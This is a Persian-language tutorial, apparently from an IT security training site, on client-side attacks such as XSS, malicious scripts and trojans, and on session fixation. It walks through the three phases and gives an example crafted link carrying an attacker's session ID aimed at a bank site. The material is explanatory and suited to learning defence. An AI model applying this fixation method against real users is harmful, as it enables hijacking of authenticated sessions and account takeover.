نمونه نرم افزاری که در برابر حمله Client-side آسیب پذیر است، نرم افزارهای مربوط به ارسال پیام (چت) هستند. هنگامی که این اپلیکیشن ها ران میشوند کلاینت ها معمولا بر اساس ساختاربندی ای که شده به یک سرورِ ریموت وصل میشوند. حملات client-side از سه راه اجرایی میشوند: XSS: حملات Cross-Site scripting شیوه ای از حملات تزریقی(injection) هستند که در آن ها اسکریپت های آلوده به وب سایت‌ها تزریق میشوند. کدهای آلوده جاوا اسکریپت: مهاجم ممکن است جاوا اسکریپت های آلوده را در یک وب پیچ جا سازی نماید . شما را به بازدید از آن صفحه فریب دهد. هنگامی که شما آن صفحه را در مرورگر خود باز میکنید، اسکریپت های آلوده بصورت مخفیانه و بدون هیچگونه پیغام هشداری اجرا میشوند. تروجان‌ها: تروجان یک اپلیکیشن ناخواسته است که به ظاهر خود را موجه نشان میدهد اما هدف اصلی آن ایجاد دسترسی های بی مجوز برای مهاجمان است. حملات Cross-site Script این حملات نوعی آسیب پذیری در سیستم امنیتی کامپیوتر است. این آسیب پذیری معمولا در نرم افزارهای تحت وب یافت میشوند و از آن ها برای دور زدن کنترل دسترسی ها استفاده میشود. مهاجم Client-side Script را به صفحات وب تزریق کرده و آن ها برای حملات cross-side script به سوی قربانیان هدف ارسال میکند.در واقع این نوع حمله همان حمله Client-inside است که در آن مهاجم با ایجاد کد یا برنامه های آلوده، Session ID را بخطر میاندازد.
  4. سلام به دوستان عزیز آی‌تی پرویی و علاقه‌مندان به مباحث امنیت شبکه. session fixation به نوعی زیر مجموعه ای از حملات application-level session hijacking محسوب میشود که در بحث نوع عملکرد و اجرا اگرچه اصول خود را حفظ کرده است اما تفاوت های اشکاری با سایر روش های موجود در این نوع حملات ندارد. اما به عنوان یک متخصص امنیت شبکه باید با مفهوم و عملکرد آن آشنا باشید چرا که فقط در صورت دانستن مکانیزم اجرایی اینگونه حملات خواهید توانست تمایز موجود بین انواع روش های session hijacking را بدرستی درک کنید. Session Fixation Session fixation حمله ای است که مستقیما هدف آن ربودن session معتبر یک کاربر است. برای اجرای این حمله، مهاجم از مزیت وجود محدودیت در نرم افزارهای تحت وب در رابطه با مدیریت session ID استفاده لازم را میبرد.نرم افزار تحت وب بجای صادر کردن یک session ID جدید، به کاربر این اجازه را میدهد تا با استفاده از session ID موجود خود را احزار هویت نماید. در این حمله مهاجم با دردست داشتن یک session ID معتبر، قربانی را به استفاده از آن هدایت میکند. اگر مرورگر قربانی از این session ID استفاده کند، مهاجم با علم به این که کاربر از این session ID استفاده میکند، میتواند براحتی session اعتباردهی شده کاربر را برباید. یک حمله session fixation، نوعی از حمله session hijacking است. فرق بین این دو حمله در آن است که در حمله session hijackingحمله با استفاده از سرقت session برقرار شده پس از Login کاربر صورت میپذیرد در صورتی که حمله session fixation شروع حمله قبل از Login کاربر است. این حمله با استفاده از تکنیک های مختلفی میتواند اجرا شود. نوع تکنیک انتخاب شده توسط مهاجم بستگی به رفتار مرورگر مورد نظر با توکن های session دارد. در زیر برخی از روش های رایج در اجرای حمله session fixation آورده شده است: Session token در آرگومان URL Session token در فرم مخفی Session ID در کوکی حمله session Fixation در تکنیک HTTP header response از حمله session fixation، مهاجم مرتبا با جستجوی پاسخ های ارسالی از طرف سرور، بدنبال پیدا کردن session ID است. علاوه بر این مهاجم این امکان را نیز دارد تا session ID مورد نظر خود را با کمک پارامتر set cookie درون کوکی جای گذاری نماید. هنگامی که کوکی بصورت دلخواه تنظیم شد، مهاجم آن را بسوی مرورگر قربانی ارسال میکند. Session fixation در سه فاز انجام میشود: مرحله برقراری و ایجاد session ID: در این فاز مهاجم نخست یک session ID معتبر را با استفاده از برقراری ارتباط با نرم افزار تحت وب، بدست میآورد. تعداد کمی نرم افزار تحت وب وجود دارد که قابلیت session time-out را پشتبانی کنند. از این رو مهاجم با بدست آوردن session ID محدودیت زمانی برای اجرای حمله نخواهد داشت. در آندسته از نرم افزارخای تحن وبی که این قابلیت را پشتیبانی میکنند، مهاجم باید مرتبا و پیوسته درخواست هایی را به منظور تمدید و زنده نگهداشتن session ارسال نماید. مرحله تثبیت (fixation): در این فاز مهاجم session ID را درون مرورگر قربانی وارد میکند و session را تثبیت مینماید. مرحله ورود (Entrance): در این فاز مهاجم منتظر میماند تا کاربر با استفاده از session ID تله گذاری شده به وب سرور login کند. فرض کنید که قربانی میخواهد از خدمات اینترنتی بانک استفاده کند. همچنین فرض کنید که آدرس بانک مورد نظر HTTP://citibank.com باشد. مهاجم اگر بخواهد که این session را تثبیت نماید باید مراحل گفته شده در زیر را انجام دهد: ابتدا مهاجم بایستی با استفاده از یک اعتبار کاربری به وب سایت بانک login کند. سپس HTTP://citibank.com یک session ID برای آن صادر میکند. ( 0D6441FEA4496C2) مهاجم session ID را درون لینکی آلوده جای گذاری کرده (HTTP://citibank.com/? SID=0D6441FEA4496C2) و آن را بسوی قربانی ارسال میکند و با ترفند کاربر را به کلیک بر روی لینک آلوده ترغیب خواهد کرد. هنگامی که قربانی بر روی لینک مورد نظر با فرض این که لینک معتبر برای ورود به سایت بانک است، کلیک کرد، مستقیما با session ID مورد نظر مهاجم وارد سایت بانک میشود. (0D64441FEA4496C2) وب سرور بانک با بررسی session ID مورد نظر متوجه میشود که این session از پیش برقرار شده و حالت فعال دارد؛ بنابراین دیگر نیازی به صدور یک session ID جدید نمیبیند. حالا مهاجم میتواند با استفاده از session ID معتبر خودش و کاربری شخص قربانی، دست به اعمال مجرمانه خود بزند. برای جمع بندی این نوع حمله، میتوان گفت که در این روش، قربانی با استفاده از session ای که از پیش مهاجم آماده کرده است، login میکند.
×